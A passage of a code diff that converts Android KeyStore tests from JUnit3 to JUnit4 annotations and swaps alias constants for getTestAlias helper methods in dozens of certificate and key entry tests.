+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
 
+    @Before
+    public void setUp() throws Exception {
         // Wipe any existing entries in the KeyStore
         KeyStore ksTemp = KeyStore.getInstance("AndroidKeyStore");
         ksTemp.load(null, null);
@@ -747,18 +766,14 @@
                         : LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION;
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        try {
-            KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
-            keyStore.load(null, null);
-            Enumeration<String> aliases = keyStore.aliases();
-            while (aliases.hasMoreElements()) {
-                String alias = aliases.nextElement();
-                keyStore.deleteEntry(alias);
-            }
-        } finally {
-            super.tearDown();
+    @After
+    public void tearDown() throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null, null);
+        Enumeration<String> aliases = keyStore.aliases();
+        while (aliases.hasMoreElements()) {
+            String alias = aliases.nextElement();
+            keyStore.deleteEntry(alias);
         }
     }
 
@@ -808,20 +823,22 @@
                 expectedAliases.length, count);
     }
 
+    @Test
     public void testKeyStore_Aliases_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
         assertAliases(new String[] {});
 
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        assertAliases(new String[] { TEST_ALIAS_1 });
+        assertAliases(new String[] { getTestAlias1() });
 
-        mKeyStore.setEntry(TEST_ALIAS_2, makeCa1(), null);
+        mKeyStore.setEntry(getTestAlias2(), makeCa1(), null);
 
-        assertAliases(new String[] { TEST_ALIAS_1, TEST_ALIAS_2 });
+        assertAliases(new String[] { getTestAlias1(), getTestAlias2() });
     }
 
+    @Test
     public void testKeyStore_Aliases_NotInitialized_Unencrypted_Failure() throws Exception {
         try {
             mKeyStore.aliases();
@@ -830,92 +847,99 @@
         }
     }
 
+    @Test
     public void testKeyStore_ContainsAliases_PrivateAndCA_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
         assertAliases(new String[] {});
 
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        assertTrue("Should contain generated private key", mKeyStore.containsAlias(TEST_ALIAS_1));
+        assertTrue("Should contain generated private key", mKeyStore.containsAlias(getTestAlias1()));
 
-        mKeyStore.setEntry(TEST_ALIAS_2, makeCa1(), null);
+        mKeyStore.setEntry(getTestAlias2(), makeCa1(), null);
 
-        assertTrue("Should contain added CA certificate", mKeyStore.containsAlias(TEST_ALIAS_2));
+        assertTrue("Should contain added CA certificate", mKeyStore.containsAlias(getTestAlias2()));
 
         assertFalse("Should not contain unadded certificate alias",
-                mKeyStore.containsAlias(TEST_ALIAS_3));
+                mKeyStore.containsAlias(getTestAlias3()));
     }
 
+    @Test
     public void testKeyStore_ContainsAliases_CAOnly_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setEntry(TEST_ALIAS_2, makeCa1(), null);
+        mKeyStore.setEntry(getTestAlias2(), makeCa1(), null);
 
-        assertTrue("Should contain added CA certificate", mKeyStore.containsAlias(TEST_ALIAS_2));
+        assertTrue("Should contain added CA certificate", mKeyStore.containsAlias(getTestAlias2()));
     }
 
+    @Test
     public void testKeyStore_ContainsAliases_NonExistent_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
-        assertFalse("Should contain added CA certificate", mKeyStore.containsAlias(TEST_ALIAS_1));
+        assertFalse("Should contain added CA certificate", mKeyStore.containsAlias(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_DeleteEntry_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        // TEST_ALIAS_2
-        mKeyStore.setCertificateEntry(TEST_ALIAS_2, generateCertificate(FAKE_RSA_CA_1));
+        // getTestAlias2()
+        mKeyStore.setCertificateEntry(getTestAlias2(), generateCertificate(FAKE_RSA_CA_1));
 
-        // TEST_ALIAS_3
-        mKeyStore.setCertificateEntry(TEST_ALIAS_3, generateCertificate(FAKE_RSA_CA_1));
+        // getTestAlias3()
+        mKeyStore.setCertificateEntry(getTestAlias3(), generateCertificate(FAKE_RSA_CA_1));
 
-        assertAliases(new String[] { TEST_ALIAS_1, TEST_ALIAS_2, TEST_ALIAS_3 });
+        assertAliases(new String[] { getTestAlias1(), getTestAlias2(), getTestAlias3() });
 
-        mKeyStore.deleteEntry(TEST_ALIAS_1);
+        mKeyStore.deleteEntry(getTestAlias1());
 
-        assertAliases(new String[] { TEST_ALIAS_2, TEST_ALIAS_3 });
+        assertAliases(new String[] { getTestAlias2(), getTestAlias3() });
 
-        mKeyStore.deleteEntry(TEST_ALIAS_3);
+        mKeyStore.deleteEntry(getTestAlias3());
 
-        assertAliases(new String[] { TEST_ALIAS_2 });
+        assertAliases(new String[] { getTestAlias2() });
 
-        mKeyStore.deleteEntry(TEST_ALIAS_2);
+        mKeyStore.deleteEntry(getTestAlias2());
 
         assertAliases(new String[] { });
     }
 
+    @Test
     public void testKeyStore_DeleteEntry_EmptyStore_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
         // Should not throw when a non-existent entry is requested for delete.
-        mKeyStore.deleteEntry(TEST_ALIAS_1);
+        mKeyStore.deleteEntry(getTestAlias1());
     }
 
+    @Test
     public void testKeyStore_DeleteEntry_NonExistent_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         // Should not throw when a non-existent entry is requested for delete.
-        mKeyStore.deleteEntry(TEST_ALIAS_2);
+        mKeyStore.deleteEntry(getTestAlias2());
     }
 
+    @Test
     public void testKeyStore_GetCertificate_Single_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_RSA_CA_1));
 
-        assertAliases(new String[] { TEST_ALIAS_1 });
+        assertAliases(new String[] { getTestAlias1() });
 
         assertNull("Certificate should not exist in keystore",
-                mKeyStore.getCertificate(TEST_ALIAS_2));
+                mKeyStore.getCertificate(getTestAlias2()));
 
-        Certificate retrieved = mKeyStore.getCertificate(TEST_ALIAS_1);
+        Certificate retrieved = mKeyStore.getCertificate(getTestAlias1());
 
         assertNotNull("Retrieved certificate should not be null", retrieved);
 
@@ -925,36 +949,40 @@
         assertEquals("Actual and retrieved certificates should be the same", actual, retrieved);
     }
 
+    @Test
     public void testKeyStore_GetCertificate_NonExist_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
         assertNull("Certificate should not exist in keystore",
-                mKeyStore.getCertificate(TEST_ALIAS_1));
+                mKeyStore.getCertificate(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_GetCertificateAlias_CAEntry_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
         Certificate cert = generateCertificate(FAKE_RSA_CA_1);
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, cert);
+        mKeyStore.setCertificateEntry(getTestAlias1(), cert);
 
-        assertEquals("Stored certificate alias should be found", TEST_ALIAS_1,
+        assertEquals("Stored certificate alias should be found", getTestAlias1(),
                 mKeyStore.getCertificateAlias(cert));
     }
 
+    @Test
     public void testKeyStore_GetCertificateAlias_PrivateKeyEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         CertificateFactory f = CertificateFactory.getInstance("X.509");
         Certificate actual = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_USER_1));
 
-        assertEquals("Stored certificate alias should be found", TEST_ALIAS_1,
+        assertEquals("Stored certificate alias should be found", getTestAlias1(),
                 mKeyStore.getCertificateAlias(actual));
     }
 
+    @Test
     public void testKeyStore_GetCertificateAlias_CAEntry_WithPrivateKeyUsingCA_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
@@ -962,15 +990,16 @@
         Certificate actual = generateCertificate(FAKE_RSA_CA_1);
 
         // Insert TrustedCertificateEntry with CA name
-        mKeyStore.setCertificateEntry(TEST_ALIAS_2, actual);
+        mKeyStore.setCertificateEntry(getTestAlias2(), actual);
 
         // Insert PrivateKeyEntry that uses the same CA
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        assertEquals("Stored certificate alias should be found", TEST_ALIAS_2,
+        assertEquals("Stored certificate alias should be found", getTestAlias2(),
                 mKeyStore.getCertificateAlias(actual));
     }
 
+    @Test
     public void testKeyStore_GetCertificateAlias_NonExist_Empty_Unencrypted_Failure()
             throws Exception {
         mKeyStore.load(null, null);
@@ -982,13 +1011,14 @@
                 mKeyStore.getCertificateAlias(actual));
     }
 
+    @Test
     public void testKeyStore_GetCertificateAlias_NonExist_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
         Certificate ca = generateCertificate(FAKE_RSA_CA_1);
 
         // Insert TrustedCertificateEntry with CA name
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, ca);
+        mKeyStore.setCertificateEntry(getTestAlias1(), ca);
 
         Certificate userCert = generateCertificate(FAKE_RSA_USER_1);
 
@@ -996,17 +1026,18 @@
                 mKeyStore.getCertificateAlias(userCert));
     }
 
+    @Test
     public void testKeyStore_GetCertificateChain_SingleLength_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         Certificate[] expected = new Certificate[2];
         expected[0] = generateCertificate(FAKE_RSA_USER_1);
         expected[1] = generateCertificate(FAKE_RSA_CA_1);
 
-        Certificate[] actual = mKeyStore.getCertificateChain(TEST_ALIAS_1);
+        Certificate[] actual = mKeyStore.getCertificateChain(getTestAlias1());
 
         assertNotNull("Returned certificate chain should not be null", actual);
         assertEquals("Returned certificate chain should be correct size", expected.length,
@@ -1016,24 +1047,26 @@
 
         // Negative test when keystore is populated.
         assertNull("Stored certificate alias should not be found",
-                mKeyStore.getCertificateChain(TEST_ALIAS_2));
+                mKeyStore.getCertificateChain(getTestAlias2()));
     }
 
+    @Test
     public void testKeyStore_GetCertificateChain_NonExist_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
         assertNull("Stored certificate alias should not be found",
-                mKeyStore.getCertificateChain(TEST_ALIAS_1));
+                mKeyStore.getCertificateChain(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_GetCreationDate_PrivateKeyEntry_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         Date now = new Date();
-        Date actual = mKeyStore.getCreationDate(TEST_ALIAS_1);
+        Date actual = mKeyStore.getCreationDate(getTestAlias1());
 
         Date expectedAfter = new Date(now.getTime() - SLOP_TIME_MILLIS);
         Date expectedBefore = new Date(now.getTime() + SLOP_TIME_MILLIS);
@@ -1042,14 +1075,15 @@
         assertTrue("Time should be close to current time", actual.after(expectedAfter));
     }
 
+    @Test
     public void testKeyStore_GetCreationDate_CAEntry_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
         // Insert TrustedCertificateEntry with CA name
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_RSA_CA_1));
 
         Date now = new Date();
-        Date actual = mKeyStore.getCreationDate(TEST_ALIAS_1);
+        Date actual = mKeyStore.getCreationDate(getTestAlias1());
         assertNotNull("Certificate should be found", actual);
 
         Date expectedAfter = new Date(now.getTime() - SLOP_TIME_MILLIS);
@@ -1059,13 +1093,14 @@
         assertTrue("Time should be close to current time", actual.after(expectedAfter));
     }
 
+    @Test
     public void testKeyStore_GetEntry_NullParams_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        Entry entry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+        Entry entry = mKeyStore.getEntry(getTestAlias1(), null);
         assertNotNull("Entry should exist", entry);
 
         assertTrue("Should be a PrivateKeyEntry", entry instanceof PrivateKeyEntry);
@@ -1075,13 +1110,14 @@
         assertPrivateKeyEntryEquals(keyEntry, "RSA", FAKE_RSA_KEY_1, FAKE_RSA_USER_1, FAKE_RSA_CA_1);
     }
 
+    @Test
     public void testKeyStore_GetEntry_EC_NullParams_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserEcKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserEcKey1(), null);
 
-        Entry entry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+        Entry entry = mKeyStore.getEntry(getTestAlias1(), null);
         assertNotNull("Entry should exist", entry);
 
         assertTrue("Should be a PrivateKeyEntry", entry instanceof PrivateKeyEntry);
@@ -1091,13 +1127,14 @@
         assertPrivateKeyEntryEquals(keyEntry, "EC", FAKE_EC_KEY_1, FAKE_EC_USER_1, FAKE_EC_CA_1);
     }
 
+    @Test
     public void testKeyStore_GetEntry_RSA_NullParams_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        Entry entry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+        Entry entry = mKeyStore.getEntry(getTestAlias1(), null);
         assertNotNull("Entry should exist", entry);
 
         assertTrue("Should be a PrivateKeyEntry", entry instanceof PrivateKeyEntry);
@@ -1174,20 +1211,22 @@
         }
     }
 
+    @Test
     public void testKeyStore_GetEntry_Nonexistent_NullParams_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
         assertNull("A non-existent entry should return null",
-                mKeyStore.getEntry(TEST_ALIAS_1, null));
+                mKeyStore.getEntry(getTestAlias1(), null));
     }
 
+    @Test
     public void testKeyStore_GetKey_NoPassword_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        Key key = mKeyStore.getKey(TEST_ALIAS_1, null);
+        Key key = mKeyStore.getKey(getTestAlias1(), null);
         assertNotNull("Key should exist", key);
 
         assertTrue("Should be a PrivateKey", key instanceof PrivateKey);
@@ -1202,126 +1241,140 @@
                 ((RSAKey) expectedKey).getModulus(), actualKey.getModulus());
     }
 
+    @Test
     public void testKeyStore_GetKey_Certificate_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
         // Insert TrustedCertificateEntry with CA name
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_RSA_CA_1));
 
-        assertNull("Certificate entries should return null", mKeyStore.getKey(TEST_ALIAS_1, null));
+        assertNull("Certificate entries should return null", mKeyStore.getKey(getTestAlias1(), null));
     }
 
+    @Test
     public void testKeyStore_GetKey_NonExistent_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
-        assertNull("A non-existent entry should return null", mKeyStore.getKey(TEST_ALIAS_1, null));
+        assertNull("A non-existent entry should return null", mKeyStore.getKey(getTestAlias1(), null));
     }
 
+    @Test
     public void testKeyStore_GetProvider_Unencrypted_Success() throws Exception {
         assertEquals("AndroidKeyStore", mKeyStore.getProvider().getName());
     }
 
+    @Test
     public void testKeyStore_GetType_Unencrypted_Success() throws Exception {
         assertEquals("AndroidKeyStore", mKeyStore.getType());
     }
 
+    @Test
     public void testKeyStore_IsCertificateEntry_CA_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
         // Insert TrustedCertificateEntry with CA name
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_RSA_CA_1));
 
         assertTrue("Should return true for CA certificate",
-                mKeyStore.isCertificateEntry(TEST_ALIAS_1));
+                mKeyStore.isCertificateEntry(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_IsCertificateEntry_PrivateKey_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         assertFalse("Should return false for PrivateKeyEntry",
-                mKeyStore.isCertificateEntry(TEST_ALIAS_1));
+                mKeyStore.isCertificateEntry(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_IsCertificateEntry_NonExist_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
         assertFalse("Should return false for non-existent entry",
-                mKeyStore.isCertificateEntry(TEST_ALIAS_1));
+                mKeyStore.isCertificateEntry(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_IsKeyEntry_PrivateKey_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        // TEST_ALIAS_1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        // getTestAlias1()
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        assertTrue("Should return true for PrivateKeyEntry", mKeyStore.isKeyEntry(TEST_ALIAS_1));
+        assertTrue("Should return true for PrivateKeyEntry", mKeyStore.isKeyEntry(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_IsKeyEntry_CA_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_RSA_CA_1));
 
-        assertFalse("Should return false for CA certificate", mKeyStore.isKeyEntry(TEST_ALIAS_1));
+        assertFalse("Should return false for CA certificate", mKeyStore.isKeyEntry(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_IsKeyEntry_NonExist_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
         assertFalse("Should return false for non-existent entry",
-                mKeyStore.isKeyEntry(TEST_ALIAS_1));
+                mKeyStore.isKeyEntry(getTestAlias1()));
     }
 
+    @Test
     public void testKeyStore_SetCertificate_CA_Unencrypted_Success() throws Exception {
         final Certificate actual = generateCertificate(FAKE_RSA_CA_1);
 
         mKeyStore.load(null, null);
 
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, actual);
-        assertAliases(new String[] { TEST_ALIAS_1 });
+        mKeyStore.setCertificateEntry(getTestAlias1(), actual);
+        assertAliases(new String[] { getTestAlias1() });
 
-        Certificate retrieved = mKeyStore.getCertificate(TEST_ALIAS_1);
+        Certificate retrieved = mKeyStore.getCertificate(getTestAlias1());
 
         assertEquals("Retrieved certificate should be the same as the one inserted", actual,
                 retrieved);
     }
 
+    @Test
     public void testKeyStore_SetCertificate_CAExists_Overwrite_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_RSA_CA_1));
 
-        assertAliases(new String[] { TEST_ALIAS_1 });
+        assertAliases(new String[] { getTestAlias1() });
 
         final Certificate cert = generateCertificate(FAKE_RSA_CA_1);
 
         // TODO have separate FAKE_CA for second test
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, cert);
+        mKeyStore.setCertificateEntry(getTestAlias1(), cert);
 
-        assertAliases(new String[] { TEST_ALIAS_1 });
+        assertAliases(new String[] { getTestAlias1() });
     }
 
+    @Test
     public void testKeyStore_SetCertificate_PrivateKeyExists_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
-        assertAliases(new String[] { TEST_ALIAS_1 });
+        assertAliases(new String[] { getTestAlias1() });
 
         final Certificate cert = generateCertificate(FAKE_RSA_CA_1);
 
         try {
-            mKeyStore.setCertificateEntry(TEST_ALIAS_1, cert);
+            mKeyStore.setCertificateEntry(getTestAlias1(), cert);
             fail("Should throw when trying to overwrite a PrivateKey entry with a Certificate");
         } catch (KeyStoreException success) {
         }
     }
 
+    @Test
     public void testKeyStore_SetEntry_PrivateKeyEntry_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
@@ -1336,9 +1389,9 @@
 
         PrivateKeyEntry expected = new PrivateKeyEntry(expectedKey, expectedChain);
 
-        mKeyStore.setEntry(TEST_ALIAS_1, expected, null);
+        mKeyStore.setEntry(getTestAlias1(), expected, null);
 
-        Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+        Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
         assertNotNull("Retrieved entry should exist", actualEntry);
 
         assertTrue("Retrieved entry should be of type PrivateKeyEntry",
@@ -1349,6 +1402,7 @@
         assertPrivateKeyEntryEquals(actual, "RSA", FAKE_RSA_KEY_1, FAKE_RSA_USER_1, FAKE_RSA_CA_1);
     }
 
+    @Test
     public void testKeyStore_SetEntry_PrivateKeyEntry_Overwrites_PrivateKeyEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
@@ -1367,9 +1421,9 @@
 
             PrivateKeyEntry expected = new PrivateKeyEntry(expectedKey, expectedChain);
 
-            mKeyStore.setEntry(TEST_ALIAS_1, expected, null);
+            mKeyStore.setEntry(getTestAlias1(), expected, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
 
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
@@ -1393,9 +1447,9 @@
 
             PrivateKeyEntry expected = new PrivateKeyEntry(expectedKey, expectedChain);
 
-            mKeyStore.setEntry(TEST_ALIAS_1, expected, null);
+            mKeyStore.setEntry(getTestAlias1(), expected, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
 
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
@@ -1408,6 +1462,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_SetEntry_CAEntry_Overwrites_PrivateKeyEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
@@ -1420,9 +1475,9 @@
                     .generateCertificate(new ByteArrayInputStream(FAKE_RSA_CA_1));
 
             TrustedCertificateEntry expectedCertEntry = new TrustedCertificateEntry(caCert);
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedCertEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedCertEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type TrustedCertificateEntry",
                     actualEntry instanceof TrustedCertificateEntry);
@@ -1443,9 +1498,9 @@
 
             PrivateKeyEntry expectedPrivEntry = new PrivateKeyEntry(expectedKey, expectedChain);
 
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedPrivEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedPrivEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
                     actualEntry instanceof PrivateKeyEntry);
@@ -1456,6 +1511,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_SetEntry_PrivateKeyEntry_Overwrites_CAEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
@@ -1475,9 +1531,9 @@
 
             PrivateKeyEntry expectedPrivEntry = new PrivateKeyEntry(expectedKey, expectedChain);
 
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedPrivEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedPrivEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
                     actualEntry instanceof PrivateKeyEntry);
@@ -1490,9 +1546,9 @@
         // Replace with TrustedCertificateEntry
         {
             TrustedCertificateEntry expectedCertEntry = new TrustedCertificateEntry(caCert);
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedCertEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedCertEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type TrustedCertificateEntry",
                     actualEntry instanceof TrustedCertificateEntry);
@@ -1503,6 +1559,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_SetEntry_PrivateKeyEntry_Overwrites_ShortPrivateKeyEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
@@ -1522,9 +1579,9 @@
 
             PrivateKeyEntry expectedPrivEntry = new PrivateKeyEntry(expectedKey, expectedChain);
 
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedPrivEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedPrivEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
                     actualEntry instanceof PrivateKeyEntry);
@@ -1544,9 +1601,9 @@
 
             PrivateKeyEntry expectedPrivEntry = new PrivateKeyEntry(expectedKey, expectedChain);
 
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedPrivEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedPrivEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
                     actualEntry instanceof PrivateKeyEntry);
@@ -1557,6 +1614,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_SetEntry_CAEntry_Overwrites_CAEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
@@ -1569,9 +1627,9 @@
                     .generateCertificate(new ByteArrayInputStream(FAKE_RSA_CA_1));
 
             TrustedCertificateEntry expectedCertEntry = new TrustedCertificateEntry(caCert);
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedCertEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedCertEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type TrustedCertificateEntry",
                     actualEntry instanceof TrustedCertificateEntry);
@@ -1587,9 +1645,9 @@
                     FAKE_RSA_USER_1));
 
             TrustedCertificateEntry expectedUserEntry = new TrustedCertificateEntry(userCert);
-            mKeyStore.setEntry(TEST_ALIAS_1, expectedUserEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), expectedUserEntry, null);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
             assertTrue("Retrieved entry should be of type TrustedCertificateEntry",
                     actualEntry instanceof TrustedCertificateEntry);
@@ -1600,6 +1658,7 @@
         }
     }
 
+    @Test
